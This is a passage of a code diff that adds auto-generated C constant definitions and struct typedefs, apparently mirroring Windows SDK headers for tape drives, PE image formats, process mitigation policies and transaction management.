APPCOMMAND_CORRECTION_LIST 0x2d +#define APPCOMMAND_MEDIA_PLAY 0x2e +#define APPCOMMAND_MEDIA_PAUSE 0x2f +#define APPCOMMAND_MEDIA_RECORD 0x30 +#define APPCOMMAND_MEDIA_FAST_FORWARD 0x31 +#define APPCOMMAND_MEDIA_REWIND 0x32 +#define APPCOMMAND_MEDIA_CHANNEL_UP 0x33 +#define APPCOMMAND_MEDIA_CHANNEL_DOWN 0x34 +#define APPCOMMAND_DELETE 0x35 +#define APPCOMMAND_DWM_FLIP3D 0x36 +#define IMAGE_AUX_SYMBOL_TYPE_TOKEN_DEF 1 +#define TAPE_DRIVE_ABS_BLK_IMMED 0x80002000 +#define TAPE_DRIVE_ABSOLUTE_BLK 0x80001000 +#define TAPE_DRIVE_END_OF_DATA 0x80010000 +#define TAPE_DRIVE_FILEMARKS 0x80040000 +#define TAPE_DRIVE_LOAD_UNLOAD 0x80000001 +#define TAPE_DRIVE_LOAD_UNLD_IMMED 0x80000020 +#define TAPE_DRIVE_LOCK_UNLOCK 0x80000004 +#define TAPE_DRIVE_LOCK_UNLK_IMMED 0x80000080 +#define TAPE_DRIVE_LOG_BLK_IMMED 0x80008000 +#define TAPE_DRIVE_LOGICAL_BLK 0x80004000 +#define TAPE_DRIVE_RELATIVE_BLKS 0x80020000 +#define TAPE_DRIVE_REVERSE_POSITION 0x80400000 +#define TAPE_DRIVE_REWIND_IMMEDIATE 0x80000008 +#define TAPE_DRIVE_SEQUENTIAL_FMKS 0x80080000 +#define TAPE_DRIVE_SEQUENTIAL_SMKS 0x80200000 +#define TAPE_DRIVE_SET_BLOCK_SIZE 0x80000010 +#define TAPE_DRIVE_SET_COMPRESSION 0x80000200 +#define TAPE_DRIVE_SET_ECC 0x80000100 +#define TAPE_DRIVE_SET_PADDING 0x80000400 +#define TAPE_DRIVE_SET_REPORT_SMKS 0x80000800 +#define TAPE_DRIVE_SETMARKS 0x80100000 +#define TAPE_DRIVE_SPACE_IMMEDIATE 0x80800000 +#define TAPE_DRIVE_TENSION 0x80000002 +#define TAPE_DRIVE_TENSION_IMMED 0x80000040 +#define TAPE_DRIVE_WRITE_FILEMARKS 0x82000000 +#define TAPE_DRIVE_WRITE_LONG_FMKS 0x88000000 +#define TAPE_DRIVE_WRITE_MARK_IMMED 0x90000000 +#define TAPE_DRIVE_WRITE_SETMARKS 0x81000000 +#define TAPE_DRIVE_WRITE_SHORT_FMKS 0x84000000 +#define IMPORT_OBJECT_ORDINAL 0 +#define IMPORT_OBJECT_NAME 1 +#define IMPORT_OBJECT_NAME_NO_PREFIX 2 +#define IMPORT_OBJECT_NAME_UNDECORATE 3 +#define IMPORT_OBJECT_NAME_EXPORTAS 4 +#define ImagePolicyIdNone 0 +#define ImagePolicyIdEtw 1 +#define ImagePolicyIdDebug 2 +#define ImagePolicyIdCrashDump 3 +#define ImagePolicyIdCrashDumpKey 4 +#define ImagePolicyIdCrashDumpKeyGuid 5 +#define ImagePolicyIdParentSd 6 +#define ImagePolicyIdParentSdRev 7 +#define ImagePolicyIdSvn 8 +#define ImagePolicyIdDeviceId 9 +#define ImagePolicyIdCapability 10 +#define ImagePolicyIdScenarioId 11 +#define ImagePolicyIdCapabilityOverridable 12 +#define ImagePolicyIdTrustletIdOverridable 13 +#define ImagePolicyIdMaximum 14 +#define ALERT_SYSTEM_INFORMATIONAL 0x1 +#define ALERT_SYSTEM_WARNING 0x2 +#define ALERT_SYSTEM_ERROR 0x3 +#define ALERT_SYSTEM_QUERY 0x4 +#define ALERT_SYSTEM_CRITICAL 0x5 +#define PdataCrUnchained 0 +#define PdataCrUnchainedSavedLr 1 +#define PdataCrChainedWithPac 2 +#define PdataCrChained 3 +#define HiberFileBucket1GB 0 +#define HiberFileBucket2GB 1 +#define HiberFileBucket4GB 2 +#define HiberFileBucket8GB 3 +#define HiberFileBucket16GB 4 +#define HiberFileBucket32GB 5 +#define HiberFileBucketUnlimited 6 +#define HiberFileBucketMax 7 +#define TransactionManagerBasicInformation 0 +#define TransactionManagerLogInformation 1 +#define TransactionManagerLogPathInformation 2 +#define TransactionManagerRecoveryInformation 4 +#define TransactionManagerOnlineProbeInformation 3 +#define TransactionManagerOldestTransactionInformation 5 +#define SeImageSignatureNone 0 +#define SeImageSignatureEmbedded 1 +#define SeImageSignatureCache 2 +#define SeImageSignatureCatalogCached 3 +#define SeImageSignatureCatalogNotCached 4 +#define SeImageSignatureCatalogHint 5 +#define SeImageSignaturePackageCatalog 6 +#define SeImageSignaturePplMitigated 7 +#define EnlistmentBasicInformation 0 +#define EnlistmentRecoveryInformation 1 +#define EnlistmentCrmInformation 2 +#define PowerLimitContinuous 0 +#define PowerLimitType1 0 +#define PowerLimitBurst 1 +#define PowerLimitType2 1 +#define PowerLimitRapid 2 +#define PowerLimitType3 2 +#define PowerLimitPreemptive 3 +#define PowerLimitType4 3 +#define PowerLimitPreemptiveOffset 4 +#define PowerLimitTypeMax 5 +#define IGP_GETIMEVERSION 0xfffffffc +#define IGP_PROPERTY 0x4 +#define IGP_CONVERSION 0x8 +#define IGP_SENTENCE 0xc +#define IGP_UI 0x10 +#define IGP_SETCOMPSTR 0x14 +#define IGP_SELECT 0x18 +#define ResourceManagerBasicInformation 0 +#define ResourceManagerCompletionInformation 1 +#define PdataRefToFullXdata 0 +#define PdataPackedUnwindFunction 1 +#define PdataPackedUnwindFragment 2 +#define UmsSchedulerStartup 0 +#define UmsSchedulerThreadBlocked 1 +#define UmsSchedulerThreadYield 2 +#define RECO_PASTE 0x0 +#define RECO_DROP 0x1 +#define RECO_COPY 0x2 +#define RECO_CUT 0x3 +#define RECO_DRAG 0x4 +#define SERVERSILO_INITING 0 +#define SERVERSILO_STARTED 1 +#define SERVERSILO_SHUTTING_DOWN 2 +#define SERVERSILO_TERMINATING 3 +#define SERVERSILO_TERMINATED 4 +#define CFU_CF1UNDERLINE 0xff +#define CFU_INVERT 0xfe +#define CFU_UNDERLINETHICKLONGDASH 0x12 +#define CFU_UNDERLINETHICKDOTTED 0x11 +#define CFU_UNDERLINETHICKDASHDOTDOT 0x10 +#define CFU_UNDERLINETHICKDASHDOT 0xf +#define CFU_UNDERLINETHICKDASH 0xe +#define CFU_UNDERLINELONGDASH 0xd +#define CFU_UNDERLINEHEAVYWAVE 0xc +#define CFU_UNDERLINEDOUBLEWAVE 0xb +#define CFU_UNDERLINEHAIRLINE 0xa +#define CFU_UNDERLINETHICK 0x9 +#define CFU_UNDERLINEWAVE 0x8 +#define CFU_UNDERLINEDASHDOTDOT 0x7 +#define CFU_UNDERLINEDASHDOT 0x6 +#define CFU_UNDERLINEDASH 0x5 +#define CFU_UNDERLINEDOTTED 0x4 +#define CFU_UNDERLINEDOUBLE 0x3 +#define CFU_UNDERLINEWORD 0x2 +#define CFU_UNDERLINE 0x1 +#define CFU_UNDERLINENONE 0x0 +#define ITWW_OPEN_CONNECT 0x0 +#define ImagePolicyEntryTypeNone 0 +#define ImagePolicyEntryTypeBool 1 +#define ImagePolicyEntryTypeInt8 2 +#define ImagePolicyEntryTypeUInt8 3 +#define ImagePolicyEntryTypeInt16 4 +#define ImagePolicyEntryTypeUInt16 5 +#define ImagePolicyEntryTypeInt32 6 +#define ImagePolicyEntryTypeUInt32 7 +#define ImagePolicyEntryTypeInt64 8 +#define ImagePolicyEntryTypeUInt64 9 +#define ImagePolicyEntryTypeAnsiString 10 +#define ImagePolicyEntryTypeUnicodeString 11 +#define ImagePolicyEntryTypeOverride 12 +#define ImagePolicyEntryTypeMaximum 13 +#define DriverType 1 +#define FileSystemType 2 +#define Win32ServiceOwnProcess 16 +#define Win32ServiceShareProcess 32 +#define AdapterType 4 +#define RecognizerType 8 +#define BootLoad 0 +#define SystemLoad 1 +#define AutoLoad 2 +#define DemandLoad 3 +#define DisableLoad 4 +#define SFGAO_CANCOPY 0x1 +#define SFGAO_CANMOVE 0x2 +#define SFGAO_CANLINK 0x4 +#define SFGAO_STORAGE 0x8 +#define SFGAO_CANRENAME 0x10 +#define SFGAO_CANDELETE 0x20 +#define SFGAO_HASPROPSHEET 0x40 +#define SFGAO_DROPTARGET 0x100 +#define SFGAO_CAPABILITYMASK 0x177 +#define SFGAO_PLACEHOLDER 0x800 +#define SFGAO_SYSTEM 0x1000 +#define SFGAO_ENCRYPTED 0x2000 +#define SFGAO_ISSLOW 0x4000 +#define SFGAO_GHOSTED 0x8000 +#define SFGAO_LINK 0x10000 +#define SFGAO_SHARE 0x20000 +#define SFGAO_READONLY 0x40000 +#define SFGAO_HIDDEN 0x80000 +#define SFGAO_DISPLAYATTRMASK 0xfc000 +#define SFGAO_FILESYSANCESTOR 0x10000000 +#define SFGAO_FOLDER 0x20000000 +#define SFGAO_FILESYSTEM 0x40000000 +#define SFGAO_HASSUBFOLDER 0x80000000 +#define SFGAO_CONTENTSMASK 0x80000000 +#define SFGAO_VALIDATE 0x1000000 +#define SFGAO_REMOVABLE 0x2000000 +#define SFGAO_COMPRESSED 0x4000000 +#define SFGAO_BROWSABLE 0x8000000 +#define SFGAO_NONENUMERATED 0x100000 +#define SFGAO_NEWCONTENT 0x200000 +#define SFGAO_CANMONIKER 0x400000 +#define SFGAO_HASSTORAGE 0x400000 +#define SFGAO_STREAM 0x400000 +#define SFGAO_STORAGEANCESTOR 0x800000 +#define SFGAO_STORAGECAPMASK 0x70c50008 +#define SFGAO_PKEYSFGAOMASK 0x81044000 +#define TransactionBasicInformation 0 +#define TransactionPropertiesInformation 1 +#define TransactionEnlistmentInformation 2 +#define TransactionSuperiorEnlistmentInformation 3 +#define TransactionBindInformation 4 +#define TransactionDTCPrivateInformation 5 +#define TapeDriveProblemNone 0 +#define TapeDriveReadWriteWarning 1 +#define TapeDriveReadWriteError 2 +#define TapeDriveReadWarning 3 +#define TapeDriveWriteWarning 4 +#define TapeDriveReadError 5 +#define TapeDriveWriteError 6 +#define TapeDriveHardwareError 7 +#define TapeDriveUnsupportedMedia 8 +#define TapeDriveScsiConnectionError 9 +#define TapeDriveTimetoClean 10 +#define TapeDriveCleanDriveNow 11 +#define TapeDriveMediaLifeExpired 12 +#define TapeDriveSnappedTape 13 +#define SharedVirtualDisksUnsupported 0 +#define SharedVirtualDisksSupported 1 +#define SharedVirtualDiskSnapshotsSupported 3 +#define SharedVirtualDiskCDPSnapshotsSupported 7 +#define AccessReasonNone 0 +#define AccessReasonAllowedAce 65536 +#define AccessReasonDeniedAce 131072 +#define AccessReasonAllowedParentAce 196608 +#define AccessReasonDeniedParentAce 262144 +#define AccessReasonNotGrantedByCape 327680 +#define AccessReasonNotGrantedByParentCape 393216 +#define AccessReasonNotGrantedToAppContainer 458752 +#define AccessReasonMissingPrivilege 1048576 +#define AccessReasonFromPrivilege 2097152 +#define AccessReasonIntegrityLevel 3145728 +#define AccessReasonOwnership 4194304 +#define AccessReasonNullDacl 5242880 +#define AccessReasonEmptyDacl 6291456 +#define AccessReasonNoSD 7340032 +#define AccessReasonNoGrant 8388608 +#define AccessReasonTrustLabel 9437184 +#define AccessReasonFilterAce 10485760 +#define ActivationContextBasicInformation 1 +#define ActivationContextDetailedInformation 2 +#define AssemblyDetailedInformationInActivationContext 3 +#define FileInformationInAssemblyOfAssemblyInActivationContext 4 +#define RunlevelInformationInActivationContext 5 +#define CompatibilityInformationInActivationContext 6 +#define ActivationContextManifestResourceName 7 +#define MaxActivationContextInfoClass 8 +#define AssemblyDetailedInformationInActivationContxt 3 +#define FileInformationInAssemblyOfAssemblyInActivationContxt 4 +#define TransactionStateNormal 1 +#define TransactionStateIndoubt 2 +#define TransactionStateCommittedNotify 3 +#define IMPORT_OBJECT_CODE 0 +#define IMPORT_OBJECT_DATA 1 +#define IMPORT_OBJECT_CONST 2 +#define SharedVirtualDiskHandleStateNone 0 +#define SharedVirtualDiskHandleStateFileShared 1 +#define SharedVirtualDiskHandleStateHandleShared 3 + +typedef struct _RemHPALETTE { + unsigned int cbData; + unsigned char data[1]; +} RemHPALETTE; + +typedef struct _SERVERSILO_DIAGNOSTIC_INFORMATION { + void* ReportId; + unsigned int ExitStatus; + unsigned short CriticalProcessName[15]; +} SERVERSILO_DIAGNOSTIC_INFORMATION; + +typedef struct _ANON_OBJECT_HEADER_V2 { + unsigned short Sig1; + unsigned short Sig2; + unsigned short Version; + unsigned short Machine; + unsigned int TimeDateStamp; + void* ClassID; + unsigned int SizeOfData; + unsigned int Flags; + unsigned int MetaDataSize; + unsigned int MetaDataOffset; +} ANON_OBJECT_HEADER_V2; + +typedef struct _RemHMETAFILEPICT { + int mm; + int xExt; + int yExt; + unsigned int cbData; + unsigned char data[1]; +} RemHMETAFILEPICT; + +typedef struct _IMAGE_BOUND_IMPORT_DESCRIPTOR { + unsigned int TimeDateStamp; + unsigned short OffsetModuleName; + unsigned short NumberOfModuleForwarderRefs; +} IMAGE_BOUND_IMPORT_DESCRIPTOR; + +typedef struct _PROCESS_MITIGATION_CHILD_PROCESS_POLICY { + void* Anonymous; +} PROCESS_MITIGATION_CHILD_PROCESS_POLICY; + +typedef struct _RemHBRUSH { + unsigned int cbData; + unsigned char data[1]; +} RemHBRUSH; + +typedef struct _PROCESSOR_PERFSTATE_POLICY { + unsigned int Revision; + unsigned char MaxThrottle; + unsigned char MinThrottle; + unsigned char BusyAdjThreshold; + void* Anonymous; + unsigned int TimeCheck; + unsigned int IncreaseTime; + unsigned int DecreaseTime; + unsigned int IncreasePercent; + unsigned int DecreasePercent; +} PROCESSOR_PERFSTATE_POLICY; + +typedef struct _IMAGE_DYNAMIC_RELOCATION64 { + unsigned long long Symbol; + unsigned int BaseRelocSize; +} IMAGE_DYNAMIC_RELOCATION64; + +typedef struct _IMAGE_RESOURCE_DIRECTORY_ENTRY { + void* Anonymous1; + void* Anonymous2; +} IMAGE_RESOURCE_DIRECTORY_ENTRY; + +typedef struct _TAPE_GET_MEDIA_PARAMETERS { + long long Capacity; + long long Remaining; + unsigned int BlockSize; + unsigned int PartitionCount; + BOOL WriteProtected; +} TAPE_GET_MEDIA_PARAMETERS; + +typedef struct _TRANSACTION_PROPERTIES_INFORMATION { + unsigned int IsolationLevel; + unsigned int IsolationFlags; + long long Timeout; + unsigned int Outcome; + unsigned int DescriptionLength; + unsigned short Description[1]; +} TRANSACTION_PROPERTIES_INFORMATION; + +typedef struct _IMAGE_DYNAMIC_RELOCATION32_V2 { + unsigned int HeaderSize; + unsigned int FixupInfoSize; + unsigned int Symbol; + unsigned int SymbolGroup; + unsigned int Flags; +} IMAGE_DYNAMIC_RELOCATION32_V2; + +typedef struct _COMPONENT_FILTER { + unsigned int ComponentFlags; +} COMPONENT_FILTER; + +typedef struct _RemotableHandle { + int fContext; + void* u; +} RemotableHandle; + +typedef struct _RemHGLOBAL { + int fNullHGlobal; + unsigned int cbData; + unsigned char data[1]; +} RemHGLOBAL; + +typedef struct _userHMETAFILE { + int fContext; + void* u; +} userHMETAFILE; + +typedef struct _XSAVE_CET_U_FORMAT { + unsigned long long Ia32CetUMsr; + unsigned long long Ia32Pl3SspMsr; +} XSAVE_CET_U_FORMAT; + +typedef struct _PROCESS_MITIGATION_PAYLOAD_RESTRICTION_POLICY { + void* Anonymous; +} PROCESS_MITIGATION_PAYLOAD_RESTRICTION_POLICY; + +typedef struct _RUNTIME_REPORT_HEADER { + unsigned short ReportType; + unsigned short Reserved; + unsigned int ReportSize; +} RUNTIME_REPORT_HEADER; + +typedef struct _IMAGE_POLICY_METADATA { + unsigned char Version; + unsigned char Reserved0[7]; + unsigned long long ApplicationId; + void* Policies[1]; +} IMAGE_POLICY_METADATA; + +typedef struct _PROCESS_MITIGATION_CONTROL_FLOW_GUARD_POLICY { + void* Anonymous; +} PROCESS_MITIGATION_CONTROL_FLOW_GUARD_POLICY; + +typedef struct _TRANSACTIONMANAGER_OLDEST_INFORMATION { + void* OldestTransactionGuid; +} TRANSACTIONMANAGER_OLDEST_INFORMATION; + +typedef struct _TRANSACTION_BIND_INFORMATION { + void* TmHandle; +} TRANSACTION_BIND_INFORMATION; + +typedef struct _RESOURCEMANAGER_BASIC_INFORMATION { + void* ResourceManagerId; + unsigned int DescriptionLength; + unsigned short Description[1]; +} RESOURCEMANAGER_BASIC_INFORMATION; + +typedef struct _PROCESSOR_IDLESTATE_POLICY { + unsigned short Revision; + void* Flags; + unsigned int PolicyCount; + void* Policy[3]; +} PROCESSOR_IDLESTATE_POLICY; + +typedef struct _TRANSACTION_LIST_INFORMATION { + unsigned int NumberOfTransactions; + void* TransactionInformation[1]; +} TRANSACTION_LIST_INFORMATION; + +typedef struct _PROCESS_MITIGATION_STRICT_HANDLE_CHECK_POLICY { + void* Anonymous; +} PROCESS_MITIGATION_STRICT_HANDLE_CHECK_POLICY; + +typedef struct _PROCESS_MITIGATION_DEP_POLICY { + void* Anonymous; + BOOL Permanent; +} PROCESS_MITIGATION_DEP_POLICY; + +typedef struct _PROCESS_MITIGATION_SYSTEM_CALL_DISABLE_POLICY { + void* Anonymous; +} PROCESS_MITIGATION_SYSTEM_CALL_DISABLE_POLICY; + +typedef struct _PROCESS_MITIGATION_DYNAMIC_CODE_POLICY { + void* Anonymous; +} PROCESS_MITIGATION_DYNAMIC_CODE_POLICY; + +typedef struct _userCLIPFORMAT { + int fContext; + void* u; +} userCLIPFORMAT; + +typedef struct _PROCESS_MITIGATION_SYSTEM_CALL_FILTER_POLICY { + void* Anonymous; +} PROCESS_MITIGATION_SYSTEM_CALL_FILTER_POLICY; + +typedef struct _PROCESS_MITIGATION_ASLR_POLICY { + void* Anonymous; +} PROCESS_MITIGATION_ASLR_POLICY; + +typedef struct _SHARED_VIRTUAL_DISK_SUPPORT { + void* SharedVirtualDiskSupport; + void* HandleState; +} SHARED_VIRTUAL_DISK_SUPPORT; + +typedef struct _IMAGE_OS2_HEADER { + unsigned short ne_magic; + unsigned char ne_ver; + unsigned char ne_rev; + unsigned short ne_enttab; + unsigned short ne_cbenttab; + int ne_crc; + unsigned short ne_flags; + unsigned short ne_autodata; + unsigned short ne_heap; + unsigned short ne_stack; + int ne_csip; + int ne_sssp; + unsigned short ne_cseg; + unsigned short ne_cmod; + unsigned short ne_cbnrestab; + unsigned short ne_segtab; + unsigned short ne_rsrctab; + unsigned short ne_restab; + unsigned short ne_modtab; + unsigned short ne_imptab; + int ne_nrestab; + unsigned short ne_cmovent; + unsigned short ne_align; + unsigned short ne_cres; + unsigned char ne_exetyp; + unsigned char ne_flagsothers; + unsigned short ne_pretthunks; + unsigned short ne_psegrefbytes; + unsigned short ne_swaparea; + unsigned short ne_expver; +} IMAGE_OS2_HEADER; + +typedef struct _IMAGE_VXD_HEADER { + unsigned short e32_magic; + unsigned char e32_border; + unsigned char e32_worder; + unsigned int e32_level; + unsigned short e32_cpu; + unsigned short e32_os; + unsigned int e32_ver; + unsigned int e32_mflags; + unsigned int e32_mpages; + unsigned int e32_startobj; + unsigned int e32_eip; + unsigned int e32_stackobj; + unsigned int e32_esp; + unsigned int e32_pagesize; + unsigned int e32_lastpagesize; + unsigned int e32_fixupsize; + unsigned int e32_fixupsum; + unsigned int e32_ldrsize; + unsigned int e32_ldrsum; + unsigned int e32_objtab; + unsigned int e32_objcnt; + unsigned int e32_objmap; + unsigned int e32_itermap; + unsigned int e32_rsrctab; + unsigned int e32_rsrccnt; + unsigned int e32_restab; + unsigned int e32_enttab; + unsigned int e32_dirtab; + unsigned int e32_dircnt; + unsigned int e32_fpagetab; + unsigned int e32_frectab; + unsigned int e32_impmod; + unsigned int e32_impmodcnt; + unsigned int e32_impproc; + unsigned int e32_pagesum; + unsigned int e32_datapage; + unsigned int e32_preload; + unsigned int e32_nrestab; + unsigned int e32_cbnrestab; + unsigned int e32_nressum; + unsigned int e32_autodata; + unsigned int e32_debuginfo; + unsigned int e32_debuglen; + unsigned int e32_instpreload; + unsigned int e32_instdemand; + unsigned int e32_heapsize; + unsigned char e32_res3[12]; + unsigned int e32_winresoff; + unsigned int e32_winreslen; + unsigned short e32_devid; + unsigned short e32_ddkver; +} IMAGE_VXD_HEADER; + +typedef struct _userBITMAP { + int bmType; + int bmWidth; + int bmHeight; + int bmWidthBytes; + unsigned short bmPlanes; + unsigned short bmBitsPixel; + unsigned int cbSize; + unsigned char pBuffer[1]; +} userBITMAP; + +typedef struct _FILE_CASE_SENSITIVE_INFORMATION { + unsigned int Flags; +} FILE_CASE_SENSITIVE_INFORMATION; + +typedef struct _PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY { + void* Anonymous; +} PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY; + +typedef struct _JOBOBJECT_NETWORK_ACCOUNTING_INFORMATION { + unsigned long long DataBytesIn; + unsigned long long DataBytesOut; +} JOBOBJECT_NETWORK_ACCOUNTING_INFORMATION; + +typedef struct _IMAGE_IMPORT_CONTROL_TRANSFER_DYNAMIC_RELOCATION { + unsigned int _bitfield; +} IMAGE_IMPORT_CONTROL_TRANSFER_DYNAMIC_RELOCATION; + +typedef struct _POWER_LIMIT_VALUE { + void* Type; + unsigned int DomainId; + unsigned int TargetValue; + unsigned int TimeParameter; +} POWER_LIMIT_VALUE; + +typedef struct _APPLICATIONLAUNCH_SETTING_VALUE { + long long ActivationTime; + unsigned int Flags; + unsigned int ButtonInstanceID; +} APPLICATIONLAUNCH_SETTING_VALUE; + +typedef struct _SYSTEM_POWER_SOURCE_STATE { + void* BatteryState; + unsigned int InstantaneousPeakPower; + unsigned int InstantaneousPeakPeriod; + unsigned int SustainablePeakPower; + unsigned int SustainablePeakPeriod; + unsigned int PeakPower; + unsigned int MaxOutputPower; + unsigned int MaxInputPower; + int BatteryRateInCurrent; + unsigned int BatteryVoltage; +} SYSTEM_POWER_SOURCE_STATE; + +typedef struct _UMS_CREATE_THREAD_ATTRIBUTES { + unsigned int UmsVersion; + void* UmsContext; + void* UmsCompletionList; +} UMS_CREATE_THREAD_ATTRIBUTES; + +typedef struct _IMAGE_INDIR_CONTROL_TRANSFER_DYNAMIC_RELOCATION { + unsigned short _bitfield; +} IMAGE_INDIR_CONTROL_TRANSFER_DYNAMIC_RELOCATION; + +typedef struct _IMAGE_IMPORT_CONTROL_TRANSFER_ARM64_RELOCATION { + unsigned int _bitfield; +} IMAGE_IMPORT_CONTROL_TRANSFER_ARM64_RELOCATION; + +typedef struct _IMAGE_ARM_RUNTIME_FUNCTION_ENTRY { + unsigned int BeginAddress; + void* Anonymous; +} IMAGE_ARM_RUNTIME_FUNCTION_ENTRY; + +typedef struct _PROCESS_MITIGATION_SEHOP_POLICY { + void* Anonymous; +} PROCESS_MITIGATION_SEHOP_POLICY; + +typedef struct _IMAGE_SYMBOL_EX { + void* N; + unsigned int Value; + int SectionNumber; + unsigned short Type; + unsigned char StorageClass; + unsigned char NumberOfAuxSymbols; +} IMAGE_SYMBOL_EX; + +typedef struct _RemHBITMAP { + unsigned int cbData; + unsigned char data[1]; +} RemHBITMAP; + +typedef struct _IMAGE_ALPHA64_RUNTIME_FUNCTION_ENTRY { + unsigned long long BeginAddress; + unsigned long long EndAddress; + unsigned long long ExceptionHandler; + unsigned long long HandlerData; + unsigned long long PrologEndAddress; +} IMAGE_ALPHA64_RUNTIME_FUNCTION_ENTRY; + +typedef struct _userHBITMAP { + int fContext; + void* u; +} userHBITMAP; + +typedef struct _IMAGE_AUX_SYMBOL_EX { + void* Sym; + void* File; + void* Section; + void* Anonymous; + void* CRC; +} IMAGE_AUX_SYMBOL_EX; + +typedef struct _PROCESS_MITIGATION_SIDE_CHANNEL_ISOLATION_POLICY { + void* Anonymous; +} PROCESS_MITIGATION_SIDE_CHANNEL_ISOLATION_POLICY; + +typedef struct _HEAP_OPTIMIZE_RESOURCES_INFORMATION { + unsigned int Version; + unsigned int Flags; +} HEAP_OPTIMIZE_RESOURCES_INFORMATION; + +typedef struct _IMAGE_SWITCHTABLE_BRANCH_DYNAMIC_RELOCATION { + unsigned short _bitfield; +} IMAGE_SWITCHTABLE_BRANCH_DYNAMIC_RELOCATION; + +typedef struct _PACKEDEVENTINFO { + unsigned int ulSize; + unsigned int ulNumEventsForLogFile; + unsigned int ulOffsets[1]; +} PACKEDEVENTINFO; + +typedef struct _IMAGE_SEPARATE_DEBUG_HEADER { + unsigned short Signature; + unsigned short Flags; + unsigned short Machine; + unsigned short Characteristics; + unsigned int TimeDateStamp; + unsigned int CheckSum; + unsigned int ImageBase; + unsigned int SizeOfImage; + unsigned int NumberOfSections; + unsigned int ExportedNamesSize; + unsigned int DebugDirectorySize; + unsigned int SectionAlignment; + unsigned int Reserved[2]; +} IMAGE_SEPARATE_DEBUG_HEADER; + +typedef struct _PROCESS_MITIGATION_EXTENSION_POINT_DISABLE_POLICY { + void* Anonymous; +} PROCESS_MITIGATION_EXTENSION_POINT_DISABLE_POLICY; + +typedef struct _userHGLOBAL { + int fContext; + void* u; +} userHGLOBAL; + +typedef struct _IMAGE_RESOURCE_DATA_ENTRY { + unsigned int OffsetToData; + unsigned int Size; + unsigned int CodePage; + unsigned int Reserved; +} IMAGE_RESOURCE_DATA_ENTRY; + +typedef struct _IMAGE_CE_RUNTIME_FUNCTION_ENTRY { + unsigned int FuncStart; + unsigned int _bitfield; +} IMAGE_CE_RUNTIME_FUNCTION_ENTRY; + +typedef struct _TAPE_GET_DRIVE_PARAMETERS { + BOOL ECC; + BOOL Compression; + BOOL DataPadding; + BOOL ReportSetmarks; + unsigned int DefaultBlockSize; + unsigned int MaximumBlockSize; + unsigned int MinimumBlockSize; + unsigned int MaximumPartitionCount; + unsigned int FeaturesLow; + void* FeaturesHigh; + unsigned int EOTWarningZoneSize; +} TAPE_GET_DRIVE_PARAMETERS; + +typedef struct _TRANSACTIONMANAGER_LOG_INFORMATION { + void* LogIdentity; +} TRANSACTIONMANAGER_LOG_INFORMATION; + +typedef struct _NT_TIB64 { + unsigned long long ExceptionList; + unsigned long long StackBase; + unsigned long long StackLimit; + unsigned long long SubSystemTib; + void* Anonymous; + unsigned long long ArbitraryUserPointer; + unsigned long long Self; +} NT_TIB64; + +typedef struct _NOTIFY_USER_POWER_SETTING { + void* Guid; +} NOTIFY_USER_POWER_SETTING; + +typedef struct _TRANSACTION_ENLISTMENTS_INFORMATION { + unsigned int NumberOfEnlistments; + void* EnlistmentPair[1]; +} TRANSACTION_ENLISTMENTS_INFORMATION; + +typedef struct _IMAGE_ARM64_RUNTIME_FUNCTION_ENTRY_XDATA_EXTENDED { + unsigned int ExtendedHeaderData; + void* Anonymous; +} IMAGE_ARM64_RUNTIME_FUNCTION_ENTRY_XDATA_EXTENDED; + +typedef struct _IMAGE_ARCHITECTURE_HEADER { + unsigned int _bitfield; + unsigned int FirstEntryRVA; +} IMAGE_ARCHITECTURE_HEADER; + +typedef struct _XSAVE_ARM64_SVE_HEADER { + unsigned int VectorLength; + unsigned int VectorRegisterOffset; + unsigned int PredicateRegisterOffset; + unsigned int Reserved[5]; +} XSAVE_ARM64_SVE_HEADER; + +typedef struct _TAPE_SET_DRIVE_PARAMETERS { + BOOL ECC; + BOOL Compression; + BOOL DataPadding; + BOOL ReportSetmarks; + unsigned int EOTWarningZoneSize; +} TAPE_SET_DRIVE_PARAMETERS; + +typedef struct _SECURITY_OBJECT_AI_PARAMS { + unsigned int Size; + unsigned int ConstraintMask; +} SECURITY_OBJECT_AI_PARAMS; + +typedef struct _IMAGE_ARM64_RUNTIME_FUNCTION_ENTRY_XDATA_EPILOG_SCOPE { + unsigned int EpilogScopeData; + void* Anonymous; +} IMAGE_ARM64_RUNTIME_FUNCTION_ENTRY_XDATA_EPILOG_SCOPE; + +typedef struct _TRANSACTION_LIST_ENTRY { + void* UOW; +} TRANSACTION_LIST_ENTRY; + +typedef struct _IMAGE_DOS_HEADER { + unsigned short e_magic; + unsigned short e_cblp; + unsigned short e_cp; + unsigned short e_crlc; + unsigned short e_cparhdr; + unsigned short e_minalloc; + unsigned short e_maxalloc; + unsigned short e_ss; + unsigned short e_sp; + unsigned short e_csum; + unsigned short e_ip; + unsigned short e_cs; + unsigned short e_lfarlc; + unsigned short e_ovno; + unsigned short e_res[4]; + unsigned short e_oemid; + unsigned short e_oeminfo; + unsigned short e_res2[10]; + int e_lfanew; +} IMAGE_DOS_HEADER; + +typedef struct _IMAGE_AUX_SYMBOL_TOKEN_DEF { + unsigned char bAuxType; + unsigned char bReserved; + unsigned int SymbolTableIndex; + unsigned char rgbReserved[12]; +} IMAGE_AUX_SYMBOL_TOKEN_DEF; + +typedef struct _IMAGE_ARCHIVE_MEMBER_HEADER { + unsigned char Name[16]; + unsigned char Date[12]; + unsigned char UserID[6]; + unsigned char GroupID[6]; + unsigned char Mode[8]; + unsigned char Size[10]; + unsigned char EndHeader[2]; +} IMAGE_ARCHIVE_MEMBER_HEADER; + +typedef struct _RUNTIME_REPORT_PACKAGE_HEADER { + unsigned int Magic; + unsigned short PackageVersion; + unsigned short NumberOfReports; + unsigned long long ReportTypesBitmap; + unsigned int PackageSize; + unsigned short ReportDigestType; + unsigned short TotalReportDigestsSize; + unsigned short Reserved; + unsigned short SignatureScheme; + unsigned int SignatureSize; + unsigned int TotalAuthenticatedReportsSize; +} RUNTIME_REPORT_PACKAGE_HEADER; + +typedef struct _QUOTA_LIMITS_EX { + unsigned long long PagedPoolLimit; + unsigned long long NonPagedPoolLimit; + unsigned long long MinimumWorkingSetSize; + unsigned long long MaximumWorkingSetSize; + unsigned long long PagefileLimit; + long long TimeLimit; + unsigned long long WorkingSetLimit; + unsigned long long Reserved2; + unsigned long long Reserved3; + unsigned long long Reserved4; + unsigned int Flags; + void* CpuRateLimit; +} QUOTA_LIMITS_EX; + +typedef struct _IMAGE_RESOURCE_DIRECTORY_STRING { + unsigned short Length; + unsigned char NameString[1]; +} IMAGE_RESOURCE_DIRECTORY_STRING; 